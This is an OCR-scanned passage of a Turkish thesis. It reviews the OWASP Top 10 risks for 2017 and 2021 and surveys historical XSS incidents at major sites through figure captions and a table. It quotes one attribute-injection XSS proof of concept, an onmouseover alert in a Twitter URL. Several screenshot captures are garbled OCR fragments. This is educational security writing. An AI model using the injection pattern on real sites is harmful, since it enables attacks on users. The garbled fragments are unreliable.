hassas verileri diizgiin sekilde korumaz. Saldirganlar, zayif sekilde korunan bu gibi verileri,
kredi kart1 dolandiriciligi, kimlik hirsizligi veya diger suglari islemek icin calabilir veya
degistirebilir. Hassas veriler, hem saklanma veya iletim sirasinda sifreleme gibi ilave koruma,

hem de tarayici iizerinden gonderilirken alinacak 6zel tedbirler gerektirir.

2017-A4: XML Harici Oge (XML External Entity (XXE))

Bircok eski veya yetersiz yapilandirilmig XML islemci, XML belgelerindeki harici varlik
referanslarini degerlendirir. Harici ogeler, URI (Uniform Resource Identifier - Tekdiizen
Kaynak Tanimlayicisi) dosya isleyiciyi, yamasiz Windows sunuculardaki dahili SMB
dosya paylasimlarini, dahili port taramayi, uzaktan kod yiiriitmeyi ve Billion Laughs
(XML Bombas1) gibi hizmet reddi saldirilarini kullanarak dahili dosyalar: ifsa etmek icin

kullanilabilir.

2017-A5: Eksik/Yanhs Erisim Kontrolii (Broken Access Control)

Kimligi dogrulanmis kullanicilarin neleri yapmalarina izin verildigine dair sinirlamalar
diizgiin bir sekilde uygulanmayabilmektedir. Saldirganlar, bu kusurlari, diger kullanicilarin
hesaplarina erismek, hassas dosyalar1 goriintiilemek, diger kullanicilarin verilerini
degistirmek, erisim haklarim1 degistirmek gibi yetkisiz islevselliklere ve/veya verilere

erismek icin kullanabilirler.

2017-A6: Yanhs Giivenlik Yapilandirilmasi (Security Misconfiguration)

Yanlis Giivenlik Yapilandirmasi, veriler icin kismen manuel veya gecici konfigiirasyonlardan
(veya hi¢ yapilandirilmamaktan), giivensiz varsayilan yapilandirmalardan, agik S3
(Simple Storage Service - Basit Depolama Hizmeti) kovalarindan, yanlis yapilandirilmis
HTTP basliklarindan, hassas bilgiler iceren hata mesajlarindan, sistemlerin, cercevelerin,
bagimliliklarin ve bilesenlerin zamaninda (ya da hi¢) yamanmamasindan kaynaklanan en

yaygin sorunlardan birisidir.

2017-A7: Siteler Arasi Betik Cahistirma (Cross-Site Scripting (XSS))
XSS kusurlari, uygulamanin yeni bir web sayfast uygun bir dogrulama veya oOzel

karakterlerin kodlanmas1 olmadan giivenilmeyen veriler icerdiginde veya mevcut bir Web
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sayfasi, JavaScript olusturabilen bir tarayict API’sini kullanarak kullanici tarafindan saglanan
verilerle giincellendiginde ortaya c¢ikar. XSS, saldirganlarin kurbaninin tarayicisinda,
kullanic1 oturumlarini kétiiye kullanabilecek, Web sitelerini atlatacak veya kullaniciyr kotii
niyetli sitelere yonlendiren komut dosyalar yiiriitmesine izin verir. Tezin 2.2. Boliimiinde bu

zafiyet hakkinda daha detayl bilgi verilmistir.

2017-A8: Giivensiz Ters-serilestirme (Insecure Deserialization)

Giivensiz Ters-serilestirme kusurlari, bir uygulama kotiiciil olarak serilestirilmis nesneler
aldiginda olusur. Giivensiz Ters-serilestirme, uzaktan kod calistirilmasma neden olur.
Ters-serilestirme kusurlari, uzaktan kod calistirilmasina neden olmasa bile, serilestirilmis
nesneler tekrar kullanilabilir, kullanicilan taklit etmek icin degistirilebilir veya silinebilir,

enjeksiyon saldirilarinin gerceklesmesine ve yetkilerin yiikseltilmesine neden olabilir.

2017-A9: Bilinen Acikliga Sahip Bilesenleri Kullanma (Using Components with Known
Vulnerabilities)

Kiitiiphaneler, cergceveler ve diger yazilim modiilleri gibi bilegenler, uygulama ile ayni
yetkilendirmelerle ¢alisir. Giivenlik acigindan etkilenen bir bilesen istismar edilirse, boyle
bir saldir1 ciddi veri kaybini veya sunucuyu ele gecirmeyi kolaylastirabilir. Bilinen giivenlik
aciklarina sahip bilesenleri kullanan uygulamalar ve API’ler, uygulama savunmalarini

zayiflatabilir, cesitli saldirilar1 ve etkilenilebilecek olaylari tetikleyebilir.

2017-A10: Yetersiz Kayit Tutma ve Izleme (Insufficient Logging & Monitoring)

Yetersiz loglama ve izleme, eksik ve etkin olmayan entegrasyon ile birlestiginde,
saldirganlarin sistemlere daha fazla saldirmalarina, kaliciligr siirdiirmelerine, diger
sistemlere sicramalarina ve verileri degistirmelerine, ¢cikarip almalarina veya yok etmelerine
izin verir. Bir¢ok ihlal ¢alismasi, bir ihlalin tespit edilme siiresinin 200 giiniin {izerinde
oldugunu ve genellikle i¢ siirecler veya izleme ile degil dis taraflarca tespit edildigini

gostermektedir.

OWASP Top 10, gelistiriciler ve web uygulamasi giivenligi i¢in standart bir farkindalik
belgesidir. Web uygulamalarina yonelik en kritik giivenlik riskleri hakkinda genis bir fikir
birligini temsil eder. Kurumlarin bu belgeyi benimsemesi ve web uygulamalarinin bu riskleri
en aza indirmesini saglama siirecini baglatmasi énemlidi. OWASP Top 10’u kullanmak,
yazilim gelistirme kiiltiiriinii daha giivenli kod iireten bir kiiltiire doniistiirmenin ve giivenli

bir web ekosisteminin belki de en etkili ilk adimidir.
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Tablo 2.2: OWASP 2017 Top 10

Saldir1 Giivenlik Etkileri
Risk Kaynak Etkilenen Vektorleri Zayifhgr Skor
Tehdit S Tespit Teknik I
Ajanlapy  Somirilebilirlik  Yayginlik EdilebliJlirlik Agdan Ag‘lSlfldan
2017-A1 Uygulama Sunucu Uyg. Ozgii Kolay (3) Olagan (2) Kolay (3) Ciddi (3) Uyg. Ozgii 8.0
2017-A2 Uygulama Istemci Uyg. Ozgii Kolay (3) Olagan (2) Orta (2) Ciddi (3) Uyg. Ozgii 7.0
2017-A3 Uygulama Sunucu Uyg. Ozgii Orta (2) Yaygin (3) Orta (2) Ciddi (3) Uyg. Ozgii 7.0
2017-A4 Uygulama Sunucu Uyg. Ozgii Orta (2) Olagan (2) Kolay (3) Ciddi (3) Uyg. Ozgii 7.0
2017-A5 Uygulama Sunucu Uyg. Ozgii Orta (2) Olagan (2) Orta (2) Ciddi (3) Uyg. Ozgii 6.0
2017-A6 Sunucu Sunucu Uyg. Ozgii Kolay (3) Yaygin (3) Kolay (3) Makul (2) Uyg. Ozgii 6.0
2017-A7 Uygulama Sunucu / Istemci Uyg. Ozgii Kolay (3) Yaygin (3) Kolay (3) Makul (2)  Uyg. Ozgii 6.0
2017-A8 Uygulama Sunucu Uyg. Ozgii Zor (1) Olagan (2) Orta (2) Ciddi (3) Uyg. Ozgii 5.0
2017-A9 Uygulama Sunucu Uyg. Ozgii Orta (2) Yaygin (3) Orta (2) Makul (2) Uyg. Ozgii 4.7
2017-A10 Uygulama / Sunucu Uygulama / Sunucu Uyg. Ozgii Orta (2) Yaygin (3) Zor (1) Makul (2) Uyg. Ozgii 4.0

Tablo 2.2°de belirtilen nihai Skor degeri Skor= (Somiiriilebilirlik + Yayginlik + Tespit
Edilebilirlik) /3 * Teknik Acidan Etkileri seklinde hesaplanmaktadir.

Bu caligma siiresince, Kasim 2017°de yayimlanmis olan OWASP Top 10 2017 raporu temel
alinmis olup, raporda yer alan agikliklara yukarida kisaca deginilmistir. Calismanin son
asamalarinda, OWASP tarafindan 24 Eyliil 2021 tarihinde, (OWASP Top 10, 2021a) raporu
da yayimlanmstir. Bu rapor ile calismada temel alinan 2017 siiriimii arasindaki farkliliklara

asagida kisaca deginilmistir.

2017 2021
= AD1:2021-Broken Access Control

o~ AD2:2021-Cryptographic Failures
AD3:2017-Sensitive Data Exposure -~ A03:2021-Injection
A04:2017-XML External Entities (XXE) A< (Mew) AD4:2021-Insecure Design
AD5:2017-Broken Access Control d N > AD5:2021-Security Misconfiguration
ADB:2017-Security Misconfiguration - > AD6:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XS5) ) ” A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization {Mew) A08:2021-Software and Data Integrity Failures
AD9:2017-Using Components with Known Vulnerabilities — - —> A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring — (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

Sekil 2.2: OWASP Top 10:2021 (OWASP Top 10, 2021b)

2017 raporu ile karsilastirildiginda 2021 belgesinde ii¢ yeni kategori, adlandirma ve kapsam

degisiklikleri iceren dort kategori ve bazi birlestirmeler gbze carpmaktadir.

* A01:2021-Eksik/Yanhs Erisim Kontrolii (Broken Access Control): 2017’deki
besinci siradan yukari hareket ettigi goriilmektedir; Uygulamalarin %94’ bir tiir
bozuk erisim denetimi i¢in test edildi. Eksik/Yanlig Erisim Kontrolii ile eslenen 34
Yaygin Zayiflik Numaralandirmasi, uygulamalarda diger kategorilerden daha fazla

olaya sahipti.

» A02:2021-Kriptografik Hatalar (Cryptographic Failures): 2017’ dekinden bir sira

yukariya, daha 6nce bir kok nedenden ziyade genis bir belirti olan Hassas Veriyi A¢ikta
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Birakma (Sensitive Data Exposure) olarak bilinen bu zafiyet, 2 siraya kayar. Burada
yenilenen odak noktasi, genellikle hassas verilerin agiga ¢ikmasina veya sistemden

odiin verilmesine yol acan kriptografiyle ilgili hatalardir.

A03:2021-Enjeksiyon (Injection): 2021 raporunda {gciincii siraya kaydigi
goriilmektedir. Bagvurularin %941 bir tiir enjeksiyon i¢in test edildi ve bu kategoriye
eslenen 33 CWE, uygulamalarda, ikinci en ¢ok goriilen agikliklar oldu. Siteler Arasi
Betik Calistirma (XSS) artik 2021 siiriimiinde bu kategorinin bir parcasidir.

A04:2021-Giivensiz Tasarim (Insecure Design): 2021 i¢in tasarim kusurlariyla ilgili
risklere odaklanan yeni bir kategoridir. Bir endiistri olarak gercekten “ilerlemek”
istiyorsak, tehdit modelleme, giivenli tasarim kaliplar1 ve ilkeleri ile referans

mimarilerin daha fazla kullanilmas1 gereklidir.

A05:2021-Yanhs Giivenlik Yapilandirmasi (Security Misconfiguration): onceki
stirimde 6. sirada yer alan bu zafiyet, bu siiriimde yukar1 ¢ikiyor; Uygulamalarin
9%90’1 bir tiir yanhs yapilandirma i¢in test edildi. Yiiksek diizeyde yapilandirilabilir
yazilimlara gegcisle birlikte, bu kategorinin yukart dogru ciktigim1 gérmek sasirtici

degildir. XML Harici Oge adli eski kategori artik bu kategorinin bir pargasidir.

A06:2021-Zafiyete acik ve Giincel Olmayan Bilesenler (Vulnerable and Outdated
Components): daha once Bilinen Agikliga Sahip Bilesenleri Kullanma (Using
Components with Known Vulnerabilities) bagligiyla 2017 Top 10 topluluk anketinde
2. siradaydi, ancak ayni zamanda veri analizi yoluyla Top 10’a girmeye yetecek
kadar veriye sahipti. Bu kategori 2017°de 9. sirada yer aliyor ve riski test etmek ve
degerlendirmek i¢in miicadele edilen bilinen bir sorundu. Dahil edilen CWE’lerle
eslenmis herhangi bir Ortak Giivenlik Acig1 ve Etkilenmeye sahip olmayan tek
kategoridir, bu nedenle puanlarina varsayilan olarak yararlanma ve etki agirliklar1 5,0

olarak dahil edildi.

A07:2021-Tammmlama ve Kimlik Dogrulama Hatalar1 (Identification and
Authentication Failures): Eksik/Yanlis Kimlik Dogrulama (Broken Authentication)
baghigiyla 2017 raporunda ikinci sirada yer aliyordu ancak 2021 raporunda asagi
siralara kayarak simdi daha ¢ok tanimlama hatalariyla ilgili CWE’leri igeriyor. Bu
kategori hala Top 10’un ayrilmaz bir parcasi, ancak standartlastirilmis ¢ercevelerin

artan kullanilabilirligi konuya yardimc1 oluyor gibi goriiniiyor.
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* A08:2021-Yazilim ve Veri Biitiinliigii Kusurlar1 (Software and Data Integrity
Failures): 2021 icin yeni bir kategoridir ve biitiinlii§ii dogrulamadan yazilim
giincellemeleri, kritik veriler ve CI/CD (Continuous Integration / Continuous
Deployment) ardisik diizenleriyle ilgili varsayimlar yapmaya odaklanir. Bu
kategorideki 10 CWE ile eslenen Ortak Giivenlik Ac¢ig1 ve Etkilenmeler/Ortak
Giivenlik Ac¢ig1 Puanlama Sistemi (CVE/CVSS: Common Vulnerability and
Exposures / Common Vulnerability Scoring System) verilerinden en yiiksek agirlikli
etkilerden biridir. 2017°deki Giivensiz Ters-serilestirme (Insecure Deserialization)

bagligi, artik bu daha biiyiik kategorinin bir pargasidir.

« A09:2021-Giivenlik Giinliigii ve Izleme Hatalar1 (Security Logging and
Monitoring Failures): 2017 raporunda daha énce Yetersiz Kayit Tutma ve Izleme
(Insufficient Logging & Monitoring) basliiyla yer almaktayd: ve daha once 10.
siradayken sektor aragtirmasinda 3. sirada yer almig ve 2021 raporuna 9. siradan
eklenmistir. Bu kategori daha fazla hata tiirlinii icerecek sekilde genisletildi, test
edilmesi zor ve CVE/CVSS verilerinde iyi temsil edilmiyor. Ancak bu kategorideki

hatalar, goriiniirliigii, olay alarmlarini ve adli biligsim analizini dogrudan etkileyebilir.

« A10:2021-Sunucu Tarafi Istek Sahteciligi (Server-Side Request Forgery): Top 10
topluluk anketinde ilk sirada yer almistir. Veriler, Somiiri ve Etki potansiyeli i¢in
ortalamanin iizerinde derecelendirmelerin yani sira ortalamanin iizerinde test kapsami
ile nispeten diisiik bir olay orani gostermektedir. Bu kategori, su anda verilerde
gosterilmese de giivenlik toplulugu {iiyelerinin bunun 6nemli oldugunu soyledigi

senaryoyu temsil etmektedir.

2.2. SITELER ARASI BETIK CALISTIRMA (XSS) ZAFIYETI

OWASP Top 10 Zafiyet listeleri gecmise dogru incelendiginde, Siteler arasi betik
calistirma saldirisinin (birgok kaynakta XSS olarak kisaltilmaktadir) siralamadaki yerinde
degisiklikler olmasina ragmen yillar boyunca etkinligini devam ettirebildigi goriilmektedir.
S0z konusu saldirinin, 2000’li yillarin basindan beri Web uygulamalar1 icin araliksiz
bir sorun oldugu sdylenebilir. Bu saldiri, saldirganin giivenlik ac¢ifindan etkilenen bir
Web uygulamasina, kotiiciil bir kod pargasi (payload) yiikledigi, istemci tarafli bir kod

enjeksiyon saldirisidir. Saldirgan, bu zafiyetten faydalanarak genellikle kotiictil kodu, masum
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bir kullanicinin tarayicisinda, kullanicimin bilgisi olmadan calistirmakta basarili olur. XSS
saldirist ile saldirgan, ¢erez calma, oturum ele gecirme, kullaniciy1 diger kotii amach sitelere
yonlendirme, habersizce istenmeyen/kotii amach yazilim indirme ve kotii amagh yazilim
yayma gibi kotiiciil bircok faaliyet gerceklestirebilir. Baglica XSS saldir kategorileri, kalici

ve kalic1 olmayan XSS saldirilar1 olmak iizere diger tiirleri de mevcuttur.

Peki, siteler arasi betik calistirma zafiyetinden kimler etkilenir? Simdiye kadar yasanan bazi

ornekler tarihsel akisina gore asagida siralanmis ve Tablo 2.3’te 6zet olarak verilmistir.

http://twitter.com/zzap#@"onmouseov
er="alert("uh oh")"/

Windows Internet Explorer @

I uh ah
ZzZap

Pearce H. Delphin
QK |

Sekil 2.3: 2010 yilinda Twitter kullanicilart yeni bir XSS solucaninin kurbani oldu. (Mutton,
2010)

Bu boliimde ayrica, XSS saldin tiirleri, literatiirde bulunan tespit yontemleri, kullandiklar:
analiz mekanizmalari, yontemlerin avantaj ve dezavantajlari, saldirmin etkileri gibi XSS
saldirisinin temel Ozelliklerine deginilmeye calisilmistir. Ayrica, bir XSS saldirisim basarili

bir sekilde baglamasi icin yerine getirilmesi gereken ii¢ 6n kosula da deginilmistir.

2.2.1. XSS Saldir Tiirleri

XSS saldiris1 olarak da kisaltilan Siteler Arast Betik Calistirma saldirisi, uygulama
katmaninda gerceklesen bir kod enjeksiyon saldirisidir. Saldirty1 baslatmak i¢in, saldirganin
Web uygulamasinda bir giivenlik acigi bulmasi ve kotii amacli kod enjekte ederek
uygulamanin son kullanicisin1 hedef almasi gerekir. Bagka bir deyisle, kotii niyetli icerik
giivenilir icerige enjekte edilir. Etkilenen uygulamadaki bir web sayfasi, kullanicinin
(kurban) mesru istekleri dogrultusunda kotii amaclh enjekte edilen kodla birlikte mesru bir

icerik goriinlimiinde kullaniciya sunulur. Kurban tarafindaki Web tarayicisi, kotii niyetli
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Youm ‘bieber Search Browse = TV Shows = Upload sor

Justin Bieber - Baby ft. Ludacris

JustinBieberVEVO 8 videos | = Subscribe

BREAKING NEWS: Justin bieber died in a horrific car accident earlier thismorning, please visit the
CNN hemepage for mere info

JustinBieberVEVO =| 228,375,151 =
Musicvideo by Justin Bieber performing Baby. views

J] Justin Bieber - Baby

As Seen On: lefras.terra.com.br

5 Like [} Savelo ™ Share <Embed>

Sekil 2.4: 2010 yilinda kullanicilar YouTube’daki Depolanmig XSS zafiyetinden etkilendiler.
(Zdrnja, 2010)

s Mie) Spa ) Ak
File Edit Wiew History Bookmarks Tools Help a5
- & X .‘2 o | http:jfhome.mcafee.com/ b - @
. Antivirus Software and Inter... ¥ | .« \Virus, Spam, Spyware Prote... ¥ | 4
United States | About McAfee | ContactlUs | Search
U McAfee O sRe
TESTED D&-FEB
® @ The page at http://home.mcafee.com says& &
':IE frssf
L3
" OK
"Read rs.instantservice .com _.@ ] ™

Sekil 2.5: 2011 yilinda giivenlik yazilim sirketi McAfee’nin ana sayfasinda XSS zafiyeti
tespit edildi. (XSSed, 2011)
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I || http://mynasa.nasa.gov/portal/site/mynasa/template. JSER_MESSAGE/ |

- 2 Rechercher

Annonce de la page http://mynasa.nasa.gov :

S5
A

Sekil 2.6: 2011 yilinda NASA web sitesinde XSS zafiyeti bulundu. (UnderNews, 2011)

- B & X|[ I sy - How doTdisclose sec.

Home » Help

Help

Email support
afsddddddddddddadddad

Canitfind the answer in our
help content? Emil us and
wel get back to you right

awiay.
Bummer, there are no resuits for

Make surethe warcs are speled corecty or ty using diferent words w2 ey

How do | disclose security vulnerabilities responsibly?| i Lol Etsy XsS Explore Help

If you've discovered a site or product security vulnerabilty, please let us know Bentayak o

security-reports@stsy_com. The security of our members and marketplace is of

) : Contact us

are committed to addressing any issues that arise as quickly as possible

Thanks! Help forum

We sincersly appreciate the efforts of security researchers in keeping our community safe. The

following people have responsibly disclosed vulnerabilties to us in the past Site policy

Neal Poole - @NealPoole DOs and DONTs
Privacy policy
Terms of use

Answers others found helpful See more Trademark guidefines

Copyright and IP
DOs and DONTs
How to Contact Etsy

Sekil 2.7: 2012 yilinda JQuery’nin 1.72 ve daha eski siiriimlerinde DOM XSS zafiyeti tespit
edildi ve bu kiitiiphaneyi kullanan siteler icin risk teskil etti. (Hayak, 2012)

GMAIL_AT=AFSbupCLZhx | VUi GMAIL_ZY ~g; CXSP=S; S=gmail = AnDmjnLhOd-Le_cpeimBwd: WMl

BREFaifafi? 1 AARFTde 18t | = AIFRAN TakerhhdS FFafl| Pasn Thie] 1ANSSARET | Ma | TANSRINY | FM 1 Sa¥Pnrio

Sekil 2.8: 2013 yilinda Google Mail sayfasinda Depolanmis XSS zafiyeti tespit edildi.
(Spagnuolo, 2013)
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suchergebnisse - PayPal - Mazilla Firefox

oo paypal.comic

B BackTrack Linux [foMensive Security K)Exploit-D8 Iy Alrerack-ng i SomaFm

Taterming data feom W paypalodyects.com...

Sekil 2.9: 2013 yilinda cevrim i¢i ddeme sitesi PayPal’de XSS bulundu. (Brook, 2013)

File Edit View History Bookmarks Iools Help = Bl
P i 0 > Untitled .. % | +

- || €~ 1cqsearch P & @ =

fiasminder_Youtube_xss/

(]

RO gD e

Sekil 2.10: 2014 yilinda YouTube’da Depolanmis XSS Zafiyeti tespit edildi.
(Vulnerability-db, 2014)



43
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-
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Sekil 2.11:
tespit edildi. (Diata, 2015)
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2015 yilinda Google Dokiimanlar, Hesap tablosu gibi uygulamalarda XSS zafiyeti

insider3show

Summary
Auinmnel Explorer vulnerability is shown here:
Content of dailymail.co.uk can be changed by external domain.

How To Use

1. Close the popup window("confinn” dizlog) after three seconds.
2. Click "Go™

3. After 7 seconds, "Hacked by Deusen” is actively injected into daily

Screenshot
screcnshol.png

Technical Details

Vulnerability: Universal Cross Site 1]
Impact: Same Origin Policy(SOP) is completely bypassed
Artack: Attackers can steal anything from another domain, and injed
Tested: Jan/ 242015 Internet Explorer 11 Windows 7

Sekil 2.12: 2015 yilinda Internet Explorer’da Evrensel XSS giivenlik a¢igi bulundu.

(Khandelwal, 2015)
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] 8 Mo/ iccomyde-en/Tnedpages</1crpt st confimBl<7se ot < |[Q sesro + A B D400 =

Trantderning dats Meom mww.netdlis.com.

Ashar Javed (@'sca|1664ashar - Sep 20
= #XSS in NetFlix (netflix.com) [fixed]

NetFlix's Sleepy Puppy (techblog.netflix.com/2015/08/announ...) missed it :P

10 18

Sekil 2.13: 2015 yilinda Netflix web sitesinde XSS zafiyeti bulundu. (Javed, 2015)

# + h TH D 48

U] wunderny

tamalarTEng Sat from - tut-ru yendene

Ashar Javed Dsoaji664ashar  Sep X
g HESin Yandex Image (yandex ruimages) & Video (yandex rufvideo) Search |1I't$l‘|]

16

Sekil 2.14: 2015 yilinda Yandex web sitesinde XSS zafiyeti bulundu. (Javed, 2015)



45

<« X fi B nttpsvi/photo.facebook.com/hads-ak-xft1/445.1600-4/11410176_6026870521336_762400038_n.htrrl 7o oo & A

%cPNG IHDR iiffcIDATHKcy

The page at https://photo.facebook.com
says:

photo.facebook.com

Waiting for fnt.pe.

Sekil 2.15: Facebook’ta ortaya ¢ikan XSS zafiyeti, saldirganlarin kullanicilarin hesaplarini
devralabilmesi riskini dogurdu. (Paganini, 2016)

€« X fi ( hiip: i X HROME_WEBSTORE&Iang=en-US&show_list=18authuser=1

, "short_desc": ™", "desc": "."}, {"en": ["English (United States)", "English (United States) \u2013 en-US", 15], "vi": ['Vietnamese", "Vietnamese \u2013 vi", 56], "it": ["italian", "Italian \u2013 it-, 28], "iw"
["Hebrew", "Hebrew \u2013 iw-IL", 24], "ar": ["Arabic", "Arabic \u2013 ar", 2], "cs": ['Czech", "Czech w2013 cs-CZ", 11], "id": ['Indonesian, "Indonesian \u2013 in", 27], "es": ["Spanish (Spain)", "Spanish (Spain) \uJ
es-ES”, 49], "en-GB": ["English (United Kingdom)", "English (United Kingdom) \u2013 en-GB", 14], "ru ['Russian’, "Russian \u2013 ru-RU", 44], "nl": ['Dutch”, "Dutch \u2013 nl-NL", 13], "pt": ["Portuguese (Brazil'

"Portuguese (Brazil) \u2013 pt-BR", 41], "no": ['Norwegian, "Norwegiar 2ai, "Thai 62013 th", 53], "ro’: ['Romanian, "Romanian \u2013 ro"
"pl": ['Polish”, "Polish \u2013 pI-PL", 40], "": ['French”, "French 2013 *, "Danish \u2013 da-DK", 12], "hi": [Hindi", "Hindi \u2013 hi-IN", 25}
“fi*: ['Finnish", "Finnish \u2013 i-FI", 18], "hu": [Hungarian®, "Hungariar The page at https://translate.google.com -419": ['Spanish (Latin America)", "Spanish (Latin America) \u2013
419", 48], "pt-PT": ["Portuguese (Portugal)', *Portuguese (Portugal) \u2( ys: 12013 zh-TW", 9], "ko": ['Korean (South Korea)", "Korean (South K
| 2013 koKR", 31], "sv": ['Swedish", "Swedish \u2013 sv-SE", 51], "sk{ (T e nese (Simplified) \u2013 zh-CN", 8], "ms": ["Malay", "Malay \u2013
35]), false, {"enable_cat_tool_link_on_play_popup": false, "enable_disc| Hltranslate.google. com/toolkit/apps””, "prefill_in_sequence": true,

"enable_wallet": true, "enable_alepl
"enable_minimum_request_pric

false, "envisible.
true, "enable_ratin

ing_score_to]
e, "enable_{

saction_support” false, "enable_uploading_screenshot": rue,
fue});

Sekil 2.16: 2016 yilinda Google Translate uygulamasinda XSS zafiyeti tespit edildi.
(Hackervis, 2016)

) nstogram {8) nstageam Ceveloper Do

€ 3 C |8 hitpsy/www.instagram.com/oauth/authoriz t_id=030773503b7c486820708ebe064dbb2&redirect uri=t example.comBresponse. type * X
x
wwwinstagram.com says:
Thisappid || Prevent this page rom cresting additionsi disogs
N | ox
Hi evevi 3
Access your basic information Your mecia & profile info
Access your friend lists Your follower & following lists
Access public content Media & profile info of public users
Like photos Post and delete likes on your behalf
Comment on photos Post and delete comments on your behalt
Follow accounts Follow and unfollow accounts on your behal.

Not evevaliyrie b @

Sekil 2.17: 2016 yilinda Instagram uygulamasinda Depolanmis OAUTH XSS zafiyeti tespit
edildi. (Yibelo, 2016)
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C | & https;//mg.mailyahoo.com/neo/flaunch?.rand=b036nb7sli9s0#261877305

Mail Search NEIS Sports Finance

Celebrity . x
mag.mail.yahoo.com says:
/ 5
AIJRO ‘ Al [xss/
2O

Prevent this page from creating additional dialogs.

pose 4 & = & Achive EIMovev [JD | ok
ail, Outiook, AOL new3
e

Sekil 2.18: 2016 yilinda Yahoo Mail web sayfasinda XSS

giivenlik acig1 tespit edildi.
(Pynnonen, 2016)

@ https://dmcza.ply.st/node/1

Content  Structure ~ Appearance  People  Modules  Configuration  Reports

dmcza.ply.st says
nd content has_js=1; Drupal.toolbar.collapsed=0;

Drupal.tableDrag.showWeight=0

Drupal stand

P
(S

Home
a blah
View || Edit || Webform || Results
Sz Subrmitted by admin on Tue, 09/25/2018 - 17:25
» Add content blah field

Choose File  No file chosen

Remove :> copy.png
">{>is the description xss able?

Submit

Powered by Drupal

Sekil 2.19: 2018 yilinda Drupal 7.x siirlimiinde gonderilen dosya adinda Yansitilmig XSS
zafiyeti tespit edildi. (Knaddison, 2018)
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200 /P roc X | G Google x xpn-

C' & Secure https://www.google.co.uk * 8

www.google.co.uk says: Gmall Images I3 m
www.google.co.uk
‘ OK

Google

-

Google Search I'm Feeling Lucky

Sekil 2.20: 2018 yilinda bir¢ok uygulama, Evernote WebClipper aracindaki Evrensel XSS
acigindan etkilendi. (Chester, 2018)

olm://message-contents
/AAABAAAAAQAAAIhBUU1rQU
dNNF16a3dNQUIOTWpFMIITM...

1337

Sekil 2.21: 2019 yilinda CyberArk Laboratuvarlari, “Outlook For Android” uygulamasinda
XSS zafiyeti tespit etti. (Coppenhagen, 2019)

* PoC - Bir baska WordPress sitesi X |\

@—) X @ ® localhost/vordpress-5.0.3/wordpress/ yiInm® =

Sekil 2.22: 2019 yilinda WordPress 5.0.3 siiriimiinde Depolanmis XSS zafiyeti tespit edildi.
(Dingel, 2019)
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Tablo 2.3: Ge¢miste yasanan bazi XSS saldir1 olaylar1 ve kullanic etkileri

ng f]z;)g:ls;r/nam Yil Saldirmin uygulama kullancilar iizerindeki etkisi

YouTube 2010  Kagak indirme (drive-by-download)

Orkut 2010  Kotii amagh grup olusumu

Facebook 2010 XSS hatasi, bilgisayar ko.rsanlzfnm.n. kotii .niyetli yorum veya yaym gondererek
kullanicinin hesabini ele gegirmesine izin verdi.
XSS zafiyeti, kullanici, kotii niyetli baglantiyr tiklattiginda saldirganin kullanict hesabi

Amazon 2010 o e TS e .
tizerinde kontrol sahibi olmak i¢in oturum kimliklerini ¢almasina izin verdi.

Hotmail 2011 Hotmail’deki bir giiye{llik aglgl, sz}ld.lrgzumlarm kullanicilarinin  gerezlerini ¢alarak
oturumlarinin kontroliinii ele gecirmesini saglamistir.

McAfee 2012 XSS giivenlik a¢1g1, saldirganlarin kagak indirme saldir1 baglatmasina olanak tanimigtir.
Saldirganlar, iiriin listesine kotii amaclh kod enjekte ederek kullanicilara kasten yanlig bilgi

eBay 2012 verdi.
Saldirganlar, olusturulan 6zellige kotii amagli JavaScript kodu enjekte ederek IE8 ve daha

Internet Explorer 2013 yiiksel% siiriimler?ie kullanilan agnti—XSS ﬁlt‘r;esini atlatal;ildi. !

Yahoo Mail 2013 Saldirganlar, kullanicilarin hesabini ele gegirmek icin DOM tabanli XSS saldirist
kulland1.

RadEditor HTML 2014 Kullanicr verilerinin uygunsuz sekilde temizlenmesi kisisel bilgilerin ¢alinmasina neden

diizenleyici oldu ve sonrasinda saldirgan, kagak indirme saldirisi ile saldirty: siirdiirebildi.

i;l]g;)ltseirtzsl;arlamentosu 2014  Yanls bilgi verme

eBay 2014  Oltalama

PayPal 2015 E-6deme hizmetlerinde bulunan Depolanmig XSS zafiyeti, saldirganlarin cesitli saldirt
tiirlerini baglatmak icin kotii amagh kod eklemesine izin verdi.

WordPress 2015  Bilgi ifsas1
Facebook’un igerik dagitim aginda (CDN-Content Delivery Network) belirlenen XSS

Facebook 2015  hatasi, bilgisayar korsanlarinin kullanicilarin Facebook hesaplarini ele gecirmesine
olanak tanidi.

NASA 2015 NASA bilimsel ve teknik bilgi (STI-scientific and technical information) siparis formunda
kullanicilarin yanlig bilgilendirilmesine neden olan XSS saldir1 vektorleri tespit edildi.

Square AP 2016 Savld1rganlar,v gi'ri§ kayitlar1 ve uygulama devralma sonuglari yoluyla kot amagh kod
enjekte edebildi.

eBay 2016 Bilgisayar korsanlari, giris sayfasinda kullanici girig bilgilerini ¢almak, yani hesabin ele

gecirilmesi i¢in parazit kod kullandi.
Drupal 2016  Hesap ele gegirme
Cisco ASA VPN Portali 2016 XSS saldirisi, Cisco’nun VPN (Viftugl PTivgte .N-etwork—Sanal Ozel Ag) portalini etkiledi
ve sonug olarak kullanicilarinin kimlik bilgilerini ¢almasina yol agt1.
Diusiik yetkili hesaba sahip bir saldirganin yonetici yetkili bir kullanict hesabi
olusturmasina ve bir web kabugu yiiklemesine izin veren XSS zafiyeti tespit edildi.
Drupal CKEditor i¢in kullanlan Gelistirilmis Resim (image2) eklentisi XSS giivenlik
Drupal 2018  agigna neden oldu, bu agik saldirganlarin saldirt icin hazirlanmisg bir IMG o6gesi
aracilifiyla uzaktan rastgele web betigi eklemesine izin verdi.
WebClipper, kullanicinin bir web sayfasindaki video, goriintii vb. icerikleri ayiklayip bir
Evernote WebClipper 2018  Evernote hesabina yiikleyerek saklamasina izin veren bir tarayici eklentisidir. Bu aragtaki
XSS zafiyeti kullanicilarin kritik bilgilerinin saldirganlarin eline ge¢mesine neden oldu.
CyberArk Laboratuvarlart  tarafindan, kuruluglar icin en popiiler e-posta
uygulamalarindan bir olan Outlook for Android uygulamasinda, bir saldirganin

Joomla 2017

Outlook For Android 2019 JavaScript kodunu e-posta iletileri yoluyla ¢aligtirmasina izin veren bir XSS giivenlik
ac181 kesfedildi.
WordPress 2019 WordPress 5.1.1 siiriimii ve Oncesinde tespit edilen XSS zafiyeti, ‘.php’ dosyalarinda

rastgele degisikliklere izin veren yonetici erigimiyle sonuglandi.

